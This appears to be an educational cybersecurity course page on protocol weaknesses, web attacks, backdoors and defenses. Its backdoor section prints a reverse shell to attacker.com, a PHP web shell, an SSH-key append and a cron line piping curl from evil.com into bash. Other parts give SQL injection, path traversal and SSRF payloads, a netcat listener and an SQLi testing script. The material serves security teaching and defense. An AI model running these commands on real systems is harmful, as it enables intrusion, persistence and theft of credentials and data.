⚠ Educational Use Only

Before You Enter

This platform provides professional-grade cybersecurity education. The knowledge contained here — including attack techniques, exploitation methods, and scripting guides — is presented strictly for defensive awareness, academic research, and ethical security work.

Leave

"The world isn't run by weapons anymore, or energy, or money. It's run by ones and zeros — little bits of data. It's all just electrons."

— Cosmo, Sneakers (1992)
EXN Studio EXN Security Expert
EXN Studio
EXN Security Expert · Expert-Level Course

How the Internet
Works — Through a
Hacker's Lens

No fluff. No marketing. Just the protocol trust models, attack techniques, real-world case studies, and defense strategies that actual attackers and defenders use every day.

"There is no patch for human stupidity."

— Kevin Mitnick, "The Art of Deception" (2002) — once the world's most wanted hacker
4Modules
12+Case Studies
6Backdoor Types
30+Hacker Quotes
2Know More Tracks

Protocols, Trust & Exploitation

A protocol is a set of agreed rules for formatting and exchanging data. The internet is not a single system — it's a stack of protocols layered on each other. Every layer trusts the one below it, and that trust is precisely what attackers exploit.

"The Internet was not designed with security in mind. It was designed to survive a nuclear war — reliability over confidentiality."

— Security axiom referencing ARPANET's origins, often cited in CEH training material
TCPMedium Risk
Transmission Control Protocol

TCP is the workhorse of reliable internet communication. It establishes a session using a 3-way handshake (SYN → SYN-ACK → ACK) and uses sequence numbers to track the order of packets. Once a session is established, neither side re-authenticates — the sequence number is the only "proof" of identity.

Trust Model

Assumes sequence numbers and port numbers are unpredictable and therefore can't be guessed by a third party observing the network.

Primary Exploit

Session Hijacking — guess or observe the sequence number, inject packets appearing to come from a trusted host. Server has no way to distinguish real from fake.

IPHigh Risk
Internet Protocol

IP handles addressing and routing — it decides how packets travel across the global internet. Every packet contains a source IP address, but there is absolutely no mechanism for verifying that the stated source IP is accurate. Any machine can write any IP address in that field.

Trust Model

Zero authentication of source IP address. The internet routes packets based on destination only — it doesn't care whether the source is real.

Primary Exploit

IP Spoofing — forge the source address to bypass allow-lists, or reflect amplified attack traffic at a victim (DNS/NTP/Memcached amplification DDoS). Responsible for the largest DDoS attacks in history.

DNSHigh Risk
Domain Name System

DNS is the internet's phone book — it translates domain names into IP addresses. It runs over UDP (connectionless, no state), relying solely on a 16-bit transaction ID and a 16-bit source port for response validation. That's only 32 bits of randomness — trivially brute-forceable by a fast attacker.

Trust Model

Matching transaction ID + source port. No cryptographic proof that a response is authentic. Cache entries are trusted for their full TTL period.

Primary Exploit

DNS Cache Poisoning — race to inject a fake DNS response before the real server replies. If you win, the resolver caches your fake record. Millions of users get directed to your server when they type a trusted domain.

HTTP/SHigh Risk
HyperText Transfer Protocol (Secure)

HTTP is the protocol for all web traffic. Plain HTTP transmits everything in cleartext — passwords, session tokens, private messages — all visible to anyone on the same network. HTTPS wraps HTTP in TLS for encryption, but trust in HTTPS depends entirely on Certificate Authorities (CAs) not being compromised or coerced.

Trust Model

HTTP: none. HTTPS: trusts the CA ecosystem — approximately 150+ root CAs pre-installed in browsers. Any single compromised CA can issue a valid certificate for any domain.

Primary Exploit

Downgrade attacks (strip HTTPS to HTTP), rogue CA certificates (DigiNotar 2011), session hijacking via cookie theft on unencrypted connections (Firesheep, 2010).

ARPHigh Risk
Address Resolution Protocol

ARP maps IP addresses to MAC (hardware) addresses on a local network. When your computer needs to talk to the router, it broadcasts "Who has IP 192.168.1.1?" The router replies with its MAC address. There is no authentication — any machine can reply to any ARP request, and machines also accept unsolicited "gratuitous ARP" replies that they never asked for.

Trust Model

Completely unauthenticated. Machines accept the most recent ARP reply they receive, overwriting their cache immediately. No verification of legitimacy.

Primary Exploit

ARP Spoofing (MITM) — broadcast "I am the default gateway" with your MAC. All LAN traffic flows through you first. Read, modify, or selectively drop packets before forwarding.

Four Ways Experts Weaponize Protocol Trust

01
PassiveEavesdrop on Unencrypted Protocols

HTTP, DNS, ARP, and NTP all transmit in plaintext. On shared networks (coffee shop Wi-Fi, compromised switches, misconfigured cloud VPCs) a passive observer reads everything. DNS queries alone reveal every website visited — even when the pages themselves use HTTPS. Tools: Wireshark, tcpdump, Bettercap.

02
ActiveInject Fake Protocol Messages

Since ARP and DNS have no authentication, attackers craft and broadcast fake responses. ARP replies to redirect LAN traffic. DNS responses to hijack domain resolution. TCP RST packets to forcibly terminate connections between two parties — a technique used by the Great Firewall of China and some DDoS services.

03
ReplayReplay Captured Messages

Protocols without timestamps or nonces (one-time random values) are vulnerable to replay attacks. A captured legitimate DHCP ACK can be retransmitted to reassign a machine's DNS server to an attacker-controlled resolver — silently redirecting all name resolution with no visible disruption to the user.

04
AmplificationAmplify DDoS via Reflection

Protocols that respond to small requests with large responses become DDoS weapons when combined with IP spoofing. The attacker sends 1 Gbps of small spoofed requests to thousands of open DNS resolvers or NTP servers. Those servers each send large replies to the victim's IP. DNS amplification achieves ~50x multiplier. Memcached achieved ~51,200x in the 2018 GitHub attack (1.35 Tbps).

Protocol Attacks That Changed the Internet

Case Study Kaminsky DNS Attack Discovery 2008
CriticalMillions of Users Affected
What Happened

Security researcher Dan Kaminsky discovered that virtually all DNS resolvers in production were vulnerable to cache poisoning far faster than anyone realized — an attack taking hours could be reduced to seconds.

How It Was Done

By rapidly sending thousands of fake DNS responses — each with a different transaction ID guess — an attacker could statistically win the race against the legitimate DNS server, poisoning a resolver's cache with a malicious record.

Why It Was Severe

Every person using a poisoned resolver would have their traffic silently redirected — banking, email, anything — to attacker-controlled servers. No indication anything was wrong. Scale: most of the internet.

How It Was Fixed

Kaminsky coordinated a synchronized, industry-wide patch release across all major DNS vendors on the same day (July 8, 2008). The fix: randomize the source port of DNS queries (adds 16 more bits of entropy, making guessing 65,535x harder). DNSSEC is the permanent solution but remains under-deployed.

Case Study GitHub DDoS — Largest in History at the Time 2018
1.35 Tbps PeakMemcached Amplification
What Happened

GitHub was hit with 1.35 Terabits per second of traffic — at the time the largest DDoS attack ever recorded. GitHub was unreachable for approximately 10 minutes.

How It Was Done

Attackers used Memcached servers (a caching system commonly exposed on the public internet on UDP port 11211) as reflectors. A 203-byte spoofed request to a Memcached server could generate a 100MB response — a 51,200x amplification factor. With IP spoofing, all responses flooded GitHub.

Why It Was Severe

Only ~6,000 Memcached servers were needed to generate 1.35 Tbps. GitHub is critical infrastructure for millions of developers globally — even 10 minutes of downtime disrupts CI/CD pipelines, deployments, and development workflows worldwide.

How It Was Fixed

GitHub routed traffic through Akamai Prolexic (a scrubbing service) within 10 minutes, which absorbed and filtered the attack. Long-term fix: firewall UDP port 11211 on Memcached servers. GitHub also invested in direct DDoS mitigation capacity. Cloudflare independently blocked a 1.7 Tbps Memcached attack days later.

Case Study DigiNotar CA Compromise — HTTPS Trust Collapse 2011
300,000+ Users InterceptedNation-State Attack
What Happened

Dutch CA DigiNotar was compromised, and attackers issued fraudulent SSL certificates for google.com, Mozilla, CIA, MI6, and 500+ other domains. Iranian users' Gmail traffic was intercepted using a valid-looking HTTPS certificate.

How It Was Done

Attackers breached DigiNotar's internal systems (likely via a web application vulnerability), gained access to certificate issuance systems, and issued wildcard certificates for high-value domains — all without the domain owners' knowledge. The fraudulent *.google.com certificate was used for HTTPS interception (MITM) in Iran.

Why It Was Severe

This exposed a fundamental architectural weakness in HTTPS: any of 150+ root CAs can issue a certificate for any domain. Compromising one CA breaks HTTPS trust globally. 300,000+ Iranian Gmail users had their encrypted traffic intercepted in real-time by state actors.

How It Was Fixed

All major browsers revoked DigiNotar's root certificate, instantly destroying their business. The incident accelerated development of Certificate Transparency (CT) logs — a public, append-only record of every issued certificate — and HPKP (HTTP Public Key Pinning, now deprecated in favor of CT). DigiNotar went bankrupt within weeks.

Common Attacks Using Legitimate Web Components

The most effective attacks don't break security — they abuse features that already exist and are intentionally allowed. SQL databases accept queries. Browsers execute JavaScript. Servers follow redirects. Attackers inject malicious input through these channels.

"Hackers don't break in. They log in."

— Common red team saying; popularized by Marcus Hutchins (MalwareTech) and the broader pen testing community
Defender's Core Insight

Every component that accepts input, resolves names, or follows redirects is a potential attack surface. Security must be applied at the input boundary — never assume anything inside the system is safe once input enters.

AttackComponent AbusedMechanismExample / Result
SQL InjectionDynamic SQL queriesUser input is inserted directly into a query without parameterization. The attacker escapes the string literal and rewrites query logic — turning a lookup into a full data dump, auth bypass, or even file read/write on some databases.' OR 1=1 -- Bypasses login. '; DROP TABLE users; -- Deletes data.
Cross-Site Scripting (XSS)Browser's JavaScript engineAttacker injects <script> into stored content. When any user loads the page, their browser executes attacker code in the context of the legitimate site — full access to cookies, localStorage, and the DOM.Stored XSS in a forum steals every visitor's session cookie. Attacker gets account access without a password.
CSRFBrowser's automatic cookie attachmentBrowser attaches session cookies to any request to the target domain, regardless of which site initiated it. An attacker's page crafts a cross-origin request to the victim's bank — the browser authenticates it with the user's live session.Victim visits evil.com. Invisible form posts to /bank/transfer?to=attacker&amount=5000. Bank authorizes it.
Path TraversalServer's file system APIWeb servers that serve files based on user-supplied paths without validation can be walked "up" the directory tree. The attacker escapes the web root and reads any file the server process has access to.GET ../../../../etc/passwd Reads the Linux user database, often containing password hashes.
SSRFServer's HTTP clientFeatures that fetch user-supplied URLs on behalf of the user can be pointed at internal services. The server has access to internal networks, metadata endpoints, and credential stores that external users cannot reach directly.fetch('http://169.254.169.254/latest/meta-data/') On AWS: retrieves IAM credentials with full cloud access.
DNS RebindingSame-origin policy + DNS TTLDomain initially resolves to attacker's IP (allowed by same-origin). TTL is zero. DNS then flips to point to an internal IP (127.0.0.1, 192.168.x.x). Browser's same-origin check passes because the hostname didn't change — JavaScript now queries localhost services.Attacker's JS reads internal router admin panel, exfiltrates network configuration, or accesses local Kubernetes API servers.

Web Attacks That Defined Security History

Case StudySamy Worm — First Self-Propagating XSS Worm2005
1 Million Accounts in 20 HoursMySpace XSS
What Happened

Samy Kamkar injected a JavaScript payload into his MySpace profile. The script added him as a friend and copied itself to every visitor's profile. It spread to 1 million profiles in under 20 hours — crashing MySpace's servers.

How It Was Done

MySpace filtered many XSS vectors but Kamkar found they allowed certain CSS attributes that could embed JavaScript. He crafted a payload split across multiple CSS properties to bypass the filter, with a CSRF component that forged friend requests and self-replicated the worm.

Why It Was Severe

It demonstrated that XSS could be weaponized for self-replicating worms with zero user interaction beyond visiting a page. The "Samy is my hero" worm didn't steal data — but the same technique could deliver a keylogger to a million users in 20 hours.

How It Was Fixed

MySpace took their site offline to clean infected profiles. Samy Kamkar was convicted under the Computer Fraud and Abuse Act. The incident drove widespread adoption of Content Security Policy (CSP) headers and more rigorous HTML sanitization standards.

Case StudyEquifax Data Breach — SQL Injection & SSRF Chain2017
147 Million AmericansSSNs, DOBs, Financial Data
What Happened

Attackers exploited a known vulnerability in Apache Struts (CVE-2017-5638) — a deserialization flaw in the Content-Type header handling — to gain remote code execution on Equifax's dispute portal. They spent 76 days inside the network before detection.

How It Was Done

A single HTTP request with a malicious Content-Type header executed OS commands on the server. Attackers then pivoted through 48 unrelated systems using unencrypted, unrotated internal credentials found in plain text config files. Data was exfiltrated in small encrypted batches to avoid triggering rate-based alerts.

Why It Was Severe

A credit bureau holds the most complete financial profiles of virtually every adult American. SSN + DOB + credit history enables identity theft, loan fraud, and tax refund fraud — harms that victims experience for years. The patch for the Struts vulnerability had been available for 2 months before the breach.

How It Was Fixed / Aftermath

Equifax paid $575 million in FTC settlements and $380+ million in class action settlements. The breach accelerated CISA's "Known Exploited Vulnerabilities" (KEV) catalog. Congress held extensive hearings. The key lesson: patch management and network segmentation are not optional.

Backdoors — Types, Setup & Traffic Patterns

A backdoor is persistent, hidden access that bypasses normal authentication. Once an attacker has a foothold, a backdoor ensures they can return even if the original vulnerability is patched or credentials are rotated.

"The hacker mindset doesn't actually see what happens on the other side, to the victim."

— Bruce Schneier, "Secrets and Lies" — one of the most cited security authors of the past 30 years
Why Backdoors Are the Real Threat

A vulnerability gives one chance. A backdoor gives unlimited, silent, persistent access. Professional attackers install redundant backdoors immediately after initial compromise — specifically designed to survive patching, reboots, and credential changes.

Reverse Shell

The victim machine initiates outbound connection to the attacker's server. Most firewalls block unsolicited inbound connections but permit outbound — making this the most common post-exploitation technique. Often disguised as HTTPS traffic on port 443.

bash -i >& /dev/tcp/attacker.com/4444 0>&1
What Goes Through

Interactive shell session, command I/O, file uploads/downloads via base64-encoded cat, port forwarding tunnels. Metasploit's Meterpreter uses encrypted channels and can migrate between processes.

Web Shell

A malicious script (PHP, JSP, ASPX) uploaded to a writable web directory. Accessed like any normal web page — commands passed via URL parameters or POST body. Survives server reboots and patch cycles unless the file is found and deleted.

<?php system($_GET['cmd']); ?>
What Goes Through

HTTP/S POST requests with commands. Responses returned as web page body. Visually identical to legitimate web traffic in network logs. Highly persistent — only deleted if discovered.

SSH Key Backdoor

Attacker appends their SSH public key to the victim's ~/.ssh/authorized_keys. Grants permanent passwordless access regardless of account password changes or MFA — SSH key auth bypasses passwords entirely by design.

echo "ssh-ed25519 AAAA…" >> ~/.ssh/authorized_keys
What Goes Through

Fully encrypted SSH session — interactive shell, SCP/SFTP file transfers, port forwarding for tunneling other protocols through the SSH connection. Indistinguishable from legitimate admin activity.

Cron / Scheduled Task

A scheduled task re-downloads and executes a payload every X minutes. Even if the malware binary is found and deleted, it will be re-fetched at the next cron interval. Designed for resilience against incident response cleanup.

@reboot curl -s http://evil.com/b.sh | bash
What Goes Through

Periodic outbound HTTP/HTTPS GET requests. No persistent open port. Nearly invisible without auditing /etc/cron.d/, /var/spool/cron/, and startup scripts against a known-good baseline.

Kernel Module Rootkit

A malicious Linux kernel module (.ko file) intercepts system calls to hide processes, network ports, and files from the OS. Requires root to install. Invisible to standard tools (ps, netstat, ls, find) — the OS lies to you. Detection requires external memory forensics.

insmod evil_rootkit.ko
What Goes Through

The rootkit manipulates kernel data structures to hide itself completely. Triggers a root shell via a secret magic password, a crafted network packet (knock), or a special file name. Survives as long as the kernel is running.

DNS Tunneling

Data is encoded into DNS query hostnames. Attacker controls the authoritative server for a domain. Malware sends DNS queries like ZXhuZg==.data.attacker.com — the authoritative server logs and decodes every chunk. Two-way communication is possible by encoding commands in DNS response records.

encoded_data.chunk42.c2.attacker.com → TXT reply: "cmd: ls"
What Goes Through

Any data, chunked into DNS subdomain labels. Credit card dumps, private keys, shell commands — disguised as completely normal DNS lookups. Bypasses most network monitoring. Tools: iodine, dnscat2.

What Can Go Through Any Backdoor

01
Arbitrary Command Execution

Delete audit logs and SIEM events to cover tracks. Add new backdoor user accounts (net user /add). Disable antivirus and EDR. Modify firewall rules to permit new access. Dump LSASS memory for credential extraction. The OS shell is the most dangerous tool on a compromised host.

02
Data Exfiltration and Upload

Copy and exfiltrate customer databases, source code, cryptographic keys, API tokens, or employee records. Upload ransomware payloads for simultaneous detonation across the network. The 2020 SolarWinds attackers spent months silently exfiltrating from ~18,000 organizations before triggering ransomware stages.

03
Lateral Movement & Pivoting

Use the compromised machine as a jump host to reach internal systems not accessible from the internet. The inside host is trusted by internal services, databases, and admin interfaces. Techniques: Pass-the-Hash, Kerberoasting, Golden Ticket attacks (in Active Directory environments).

04
Persistence Redundancy

Install a second, third, and fourth backdoor using different mechanisms. Professional red teams and APT groups always assume initial footholds will be discovered. The SolarWinds SUNBURST implant had multiple fallback C2 mechanisms specifically designed to survive partial remediation.

"They were in the system for nine months. We just didn't know it."

— Kevin Mandia, FireEye CEO, describing the SolarWinds supply chain attack that affected 18,000 organizations including US government agencies (2020)

Defense — What Works, What's Hard, What's Nearly Impossible

Security is not a product — it's a practice. Layered defense-in-depth means attackers must bypass multiple independent controls. The goal isn't perfection — it's making your organization a harder target than the next one.

"If you know the enemy and know yourself, you need not fear the result of a hundred battles."

— Sun Tzu, "The Art of War" — quoted in virtually every red team curriculum and penetration testing certification

Effective — Do These Now

Parameterized queries — Completely eliminates SQL injection. Separates code from data at the driver level. There is no injection if the query structure is fixed before user data arrives.
Content Security Policy (CSP) — Tells the browser which script sources are trusted. Defeats most XSS by preventing execution of injected scripts.
CSRF tokens — Per-session secret included in every state-changing request. Forged requests from other domains can't include the token, so they fail.
HttpOnly + Secure cookies — HttpOnly prevents JavaScript from reading cookies (defeats XSS cookie theft). Secure ensures cookies never transmit over HTTP.
FIDO2 / WebAuthn MFA — Phishing-resistant. The credential is cryptographically bound to the domain name — a fake login page receives a useless token.
TLS 1.3 only — Removes all legacy cipher suites vulnerable to downgrade attacks. Don't offer TLS 1.0/1.1/1.2 as fallback.
Egress filtering — Block unexpected outbound ports. Restrict DNS to known resolvers. Kills reverse shells on unusual ports and prevents DNS tunneling to arbitrary servers.
EDR + app allow-listing — Endpoint Detection monitors process behavior in real-time. Allow-listing prevents unauthorized binaries from executing entirely — the most powerful host-based control.

Hard but Achievable

DNS tunnel detection — Requires DPI and behavioral ML. Flag: high query volume to a single domain, long subdomain labels (>40 chars), high entropy subdomains, unusual record types (TXT, NULL). Attackers will pivot to HTTPS tunneling.
Kernel rootkit prevention — Secure Boot + Measured Boot (UEFI + TPM) + mandatory signed kernel modules. Windows enforces this with Driver Signature Enforcement. Linux is improving with kernel lockdown mode.
Supply chain security — Hermetic builds, reproducible builds, and binary transparency logs (Sigstore/Rekor). Comprehensive verification of all dependencies. Only realistic at Google/Microsoft scale today. The SolarWinds attack exploited this gap.
Zero Trust Network Access — Never trust, always verify. Every connection authenticated, authorized, and encrypted regardless of network location. Eliminates the concept of a trusted internal network that lateral movement depends on.
DNSSEC + DoH/DoT — Cryptographic signing of DNS records prevents cache poisoning. DNS-over-HTTPS/TLS prevents eavesdropping. But DNSSEC has <10% zone deployment after 20+ years.

Near-Impossible to Fully Solve

These aren't bugs — they're architectural decisions made when the internet was designed for trusted researchers. Fully fixing them would require replacing the protocols themselves across every device and provider simultaneously.

ProblemWhy It Can't Be Fully FixedBest Available Mitigation
IP SpoofingARP has no authentication. On a local broadcast domain, any machine can claim any IP. Replacing ARP breaks millions of legacy devices globally.802.1X NAC + DHCP snooping + Dynamic ARP Inspection on managed switches. BCP38 at ISP level (rarely deployed).
DNS Cache Poisoning32 bits of entropy (transaction ID + port) is guessable with modern hardware. DNSSEC solves it cryptographically but <10% of zones are signed after 20+ years.Port randomization (done). DNSSEC where deployed. DNS-over-HTTPS for query privacy.
BGP HijackingBGP relies entirely on peer trust. Any ISP can announce any IP range. No cryptographic verification of prefix ownership in base protocol.RPKI (Route Origin Authorizations). Many ISPs still ignore RPKI validity even when deployed by their peers.
Spectre / Meltdown (Side-Channels)CPU speculative execution is fundamental to modern performance. The attack reads memory across isolation boundaries using cache timing. Fixing it completely requires new CPU microarchitecture.Retpoline (Spectre), KPTI (Meltdown), core isolation. 5–30% performance penalty. New variants continue to emerge.
Insider ThreatA legitimate admin with real credentials is indistinguishable from an attacker with stolen identical credentials. Intent cannot be reliably inferred from access patterns without massive false-positive rates.Just-in-time privilege access, privileged access workstations, UEBA behavioral analytics, mandatory 4-eyes approval for sensitive operations.
HTTP Request SmugglingDisagreements between how proxies and backends parse Content-Length vs Transfer-Encoding allow requests to be "hidden" inside others. It's a specification ambiguity, not a single patchable bug.Normalize all requests through a single HTTP parser before backend. Disable H/1 keep-alive at edge. But you still trust your parser's correctness.

Defenses That Create False Confidence

Avoid These

Security through obscurity (custom ports, encoding) — Attackers scan all 65,535 ports. Nmap finishes in minutes. Custom encoding is reverse-engineered with tools. You gain minutes of friction, not months of protection.
Blocking all ICMP — Breaks Path MTU Discovery, causing silent TCP black holes on connections with large packets. Attackers use TCP timestamps for the same probing. You've broken your own network with zero security benefit.
Blocking outbound UDP/53 only — Users' DNS breaks. Attackers switch to DNS-over-HTTPS (port 443) to bypass entirely. The correct approach is allowlisting specific DNS resolvers, not blocking the port.
IP allow-listing as authentication — IPs are spoofable. VPNs, NAT, and cloud provider shared ranges mean thousands of entities share one IP. IP allow-lists are a useful additional layer — never a sufficient authentication mechanism alone.
Annual penetration tests as security validation — A pen test is a snapshot in time. Vulnerabilities introduced between annual tests remain undetected for 11+ months. Use continuous automated scanning alongside periodic manual pen tests.

Hacker Quotes from Film & Reality

The hacker ethos — curiosity, persistence, and thinking outside the designed use case — has been captured in film, television, and the words of real practitioners. These aren't just movie lines; they reflect how practitioners actually think.

"

Give a man a fish and you feed him for a day. Teach a man to phish and he'll own your entire domain.

Common Hacker Community Saying
Security Conference Culture (DEF CON / Black Hat)
"

I am not a criminal. I am a researcher. I find holes in systems so that others can patch them — preferably before someone worse than me does.

Elliot Alderson
Mr. Robot — USA Network (2015–2019)
"

Who am I? That is not the question. The real question is — who am I NOT?

Benjamin / MRX
Who Am I — No System Is Safe (2014)
"

No system is safe. That's not a threat — it's a design constraint.

MRX
Who Am I — No System Is Safe (2014)
"

The world isn't run by weapons anymore, or energy, or money. It's run by ones and zeros — little bits of data. It's all just electrons.

Cosmo / Martin Bishop
Sneakers (1992) — Robert Redford film
"

There is no patch for human stupidity. Social engineering will always be the most effective attack vector — not because people are dumb, but because they're kind.

Kevin Mitnick
"The Art of Deception" (2002) — World's Most Wanted Hacker
"

Hacking is not just about breaking in. Hacking is about understanding a system well enough to make it do something it was never designed to do.

Dade Murphy / Zero Cool
Hackers (1995) — Jonny Lee Miller & Angelina Jolie
"

Mess with the best, die like the rest.

Dade Murphy / Zero Cool
Hackers (1995)
"

I'm in. This is it. I'm hacking the Gibson.

Zero Cool
Hackers (1995) — referencing Gibson supercomputer subplot
"

Every normal human being is afraid of the dark. And rightfully so. The dark is where the hackers live.

Agent Smith / FBI
Hackers (1995)
"

They watched everything we did. Every transaction. Every communication. And they used it. The truth is, they could do this because we let them.

Edward Snowden
Citizenfour (2014 documentary) — Laura Poitras
"

Assume breach. It's not if you'll be compromised — it's when. Plan your security posture around that reality.

John Lambert
Microsoft Threat Intelligence Center — widely cited in Zero Trust frameworks
"

Security is always excessive — until the day it's not enough.

Robbie Sinclair
Head of Security, Country Energy — commonly cited in security awareness training
"

The only truly secure system is one that is powered off, cast in a block of concrete, and sealed in a lead-lined room with armed guards.

Gene Spafford
Purdue University — founding figure of computer security research
"

Being powerful is like being a lady. If you have to tell people you are, you aren't.

Margaret Thatcher / recontextualized in hacker culture
Applied to security: "If you have to tell people your system is secure, it probably isn't."
"

Before you are a hacker, you must be a builder. You cannot break something you don't understand.

Anonymous
Widely attributed — OSCP / OffSec Community tradition
"

The quiet ones are always the most dangerous. The noisy hackers get caught. The ones you never hear about are the ones who own you for years.

APT Threat Intelligence Community
Mandiant / FireEye M-Trends Reports — recurring observation about nation-state APT groups
"

I was 16, going on 17. And I was more powerful than the President of the United States.

Jonathan Joseph James (c0mrade)
First juvenile imprisoned for cybercrime in the US. Hacked NASA and DoD at age 15–16 (1999).
Know More · Advanced Track

Terminal Operations &
Security Scripting

Go beyond theory. This track covers real-world use of Linux and Windows terminals, Python scripting for both offensive and defensive security operations, and TLS/SSL certificate management scripts — the toolbox every practitioner needs.

Linux Terminal
Windows PowerShell
Python Red Team
Python Blue Team
TLS/SSL Scripts

Linux Terminal for Security

Linux is the operating system of servers, IoT devices, and most hacking tools. Mastery of the Bash shell is non-negotiable for both attackers and defenders.

Reconnaissance & Network Discovery

Before exploiting anything, you map the terrain. These commands are used in every engagement — by both red teams discovering targets and blue teams auditing their own exposure.

01
Network Scanning with Nmap

Nmap is the industry standard for port scanning and service discovery. Every open port is a potential attack surface. Blue teams use it to audit what's exposed; red teams use it to find entry points.

# Discover live hosts on a subnet (ping sweep) nmap -sn 192.168.1.0/24 # Full port scan + service version detection nmap -sV -p- target.com # Aggressive scan: OS detection + scripts + traceroute nmap -A -T4 target.com # Stealth SYN scan (less likely to trigger IDS) nmap -sS -T2 target.com
Red & Blue
02
Network Traffic Analysis with tcpdump

tcpdump captures raw packets from any network interface. Essential for incident response, protocol debugging, and identifying C2 (command and control) traffic patterns.

# Capture all traffic on eth0, save to file tcpdump -i eth0 -w capture.pcap # Show DNS queries in real-time tcpdump -i eth0 -n port 53 # Show HTTP traffic (catch plaintext credentials) tcpdump -A -i eth0 port 80 # Capture traffic to/from specific host tcpdump host 192.168.1.50 -w host_traffic.pcap
Blue Team
03
Log Analysis & Incident Response

Logs are the defender's eyes. Knowing how to grep and parse logs quickly is the difference between a 1-hour incident response and a 1-week one. Attackers know this too — they always attempt to delete or corrupt logs.

# Find all SSH brute-force attempts grep "Failed password" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn # Find recently modified files (possible webshell) find /var/www -name "*.php" -newer /tmp/ref -ls # Check for SUID binaries (privilege escalation paths) find / -perm -4000 -type f 2>/dev/null # Show all listening network ports with process names ss -tulpn
Blue Team
04
Directory & Endpoint Enumeration

Before exploiting a web app, enumerate its attack surface. Hidden admin panels, backup files (.bak), and exposed config files are extremely common findings even on production systems.

# Gobuster: brute-force web directories gobuster dir -u https://target.com -w /usr/share/wordlists/dirbuster/medium.txt -x php,html,bak # ffuf: fast web fuzzer for parameters and paths ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302 # nikto: web server vulnerability scanner nikto -h https://target.com
Red Team
05
Netcat — The Swiss Army Knife

Netcat reads and writes raw TCP/UDP connections. Used by attackers to establish reverse shells and by defenders to test whether a port is reachable and what banner a service returns.

# Listen for incoming reverse shell connection nc -lvnp 4444 # Connect to a port and grab service banner nc -v target.com 80 # Simple file transfer (receiver) nc -lvp 9000 > received_file.tar.gz # Send file to receiver nc target.com 9000 < file_to_send.tar.gz
Red & Blue

Windows Terminal & PowerShell for Security

Most enterprise environments run Windows. PowerShell is the most powerful tool for both Windows administration and post-exploitation — attackers use it because it's signed, trusted, and built-in.

PowerShell Security Essentials

PowerShell has direct access to the .NET framework, WMI, and Active Directory. It's the weapon of choice for Windows post-exploitation — which is why blocking it entirely breaks too many things. Defenders must monitor it instead.

01
Active Directory Enumeration

Active Directory (AD) is the directory service that controls permissions in Windows enterprise environments. Enumerating AD reveals user accounts, groups, password policies, and privilege paths — the attacker's roadmap to Domain Admin.

# List all domain users Get-ADUser -Filter * -Properties * | Select Name,Enabled,LastLogonDate # Find users with Service Principal Names (Kerberoasting targets) Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName # Find all domain admins Get-ADGroupMember -Identity "Domain Admins" -Recursive | Select Name, SamAccountName # Check domain password policy Get-ADDefaultDomainPasswordPolicy
Red & Blue
02
Event Log Analysis & Threat Hunting

Windows Event Logs record every login, process creation, and privileged operation. Defenders use PowerShell to query logs programmatically — finding attack patterns across thousands of events in seconds.

# Find all failed logon attempts (Event ID 4625) Get-WinEvent -FilterHashtable @{LogName='Security';Id=4625} | Select TimeCreated, Message # Find PowerShell execution events (detect malicious scripts) Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational';Id=4104} # Find new user account creation (Event ID 4720) Get-WinEvent -FilterHashtable @{LogName='Security';Id=4720} | Select TimeCreated, Message
Blue Team
03
Network Reconnaissance (Windows)

Built-in Windows tools for network enumeration — useful in environments where external tools can't be installed. These commands are also used by attackers during "living off the land" techniques — using only tools already present on the victim machine.

# Show all TCP connections and listening ports netstat -ano # Resolve process name from PID Get-Process -Id (netstat -ano | findstr :445) # ARP cache (shows recently communicated hosts) arp -a # Traceroute to target Test-NetConnection -ComputerName target.com -TraceRoute
Red & Blue

Python for Offensive Security

Python is the most widely used language in offensive security tooling — from proof-of-concept exploits to full frameworks. Understanding how these scripts work makes you a better defender. These examples are for authorized testing only.

Offensive Python Patterns
01
Port Scanner from Scratch

Understanding how port scanners work makes you appreciate what information attackers gather before engaging a target. This is a basic TCP connect scanner — the same fundamental logic used by Nmap.

import socket import concurrent.futures def scan_port(host, port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(0.5) result = s.connect_ex((host, port)) s.close() if result == 0: try: service = socket.getservbyport(port) except: service = "unknown" print(f"[OPEN] {port}/tcp ({service})") except: pass host = "192.168.1.1" # Replace with authorized target with concurrent.futures.ThreadPoolExecutor(max_workers=200) as ex: ex.map(lambda p: scan_port(host, p), range(1, 1025))
Red Team
02
HTTP Header Inspector & Web Fingerprinter

HTTP response headers reveal server technology, misconfiguration, and missing security headers. A 30-second scan of headers tells an attacker which framework you're running and which security controls are absent.

import requests SECURITY_HEADERS = [ "Strict-Transport-Security", "Content-Security-Policy", "X-Frame-Options", "X-Content-Type-Options", "Referrer-Policy", "Permissions-Policy", ] def audit_headers(url): r = requests.get(url, allow_redirects=True, timeout=5) print(f"\n=== {url} (HTTP {r.status_code}) ===") print(f"Server: {r.headers.get('Server','[hidden]')}") print(f"X-Powered-By: {r.headers.get('X-Powered-By','[not exposed]')}\n") for h in SECURITY_HEADERS: status = "✓ PRESENT" if h in r.headers else "✗ MISSING" print(f" {status} {h}") audit_headers("https://example.com")
Red & Blue
03
SQL Injection Tester (for Authorized Testing)

A minimal SQL injection detection script for testing your own web applications. Understanding how automated SQLi tools work helps defenders tune their WAF rules and identify vulnerable parameters before attackers do.

import requests PAYLOADS = [ "'", "\"", "' OR '1'='1", "' OR 1=1--", "1; DROP TABLE users--", "' UNION SELECT null,null--" ] ERROR_SIGS = ["sql syntax", "mysql_fetch", "ORA-", "SQLITE_ERROR", "syntax error"] def test_sqli(url, param): for payload in PAYLOADS: r = requests.get(url, params={param: payload}, timeout=5) body = r.text.lower() for sig in ERROR_SIGS: if sig in body: print(f"[VULN] Param '{param}' → payload: {payload}") break # Test only applications you own or have written authorization to test test_sqli("http://localhost/app", "id")
Red Team

Python for Defensive Security

Blue team Python automates threat hunting, log parsing, anomaly detection, and incident response. These scripts help defenders scale their visibility across complex environments.

Defensive Python Patterns
01
Log Monitor — Real-Time SSH Brute Force Detector

Automated detection of brute-force SSH attacks by watching auth.log in real-time. Counts failures per IP and triggers alerts when a threshold is exceeded. This is the foundation of a Host-based Intrusion Detection System (HIDS).

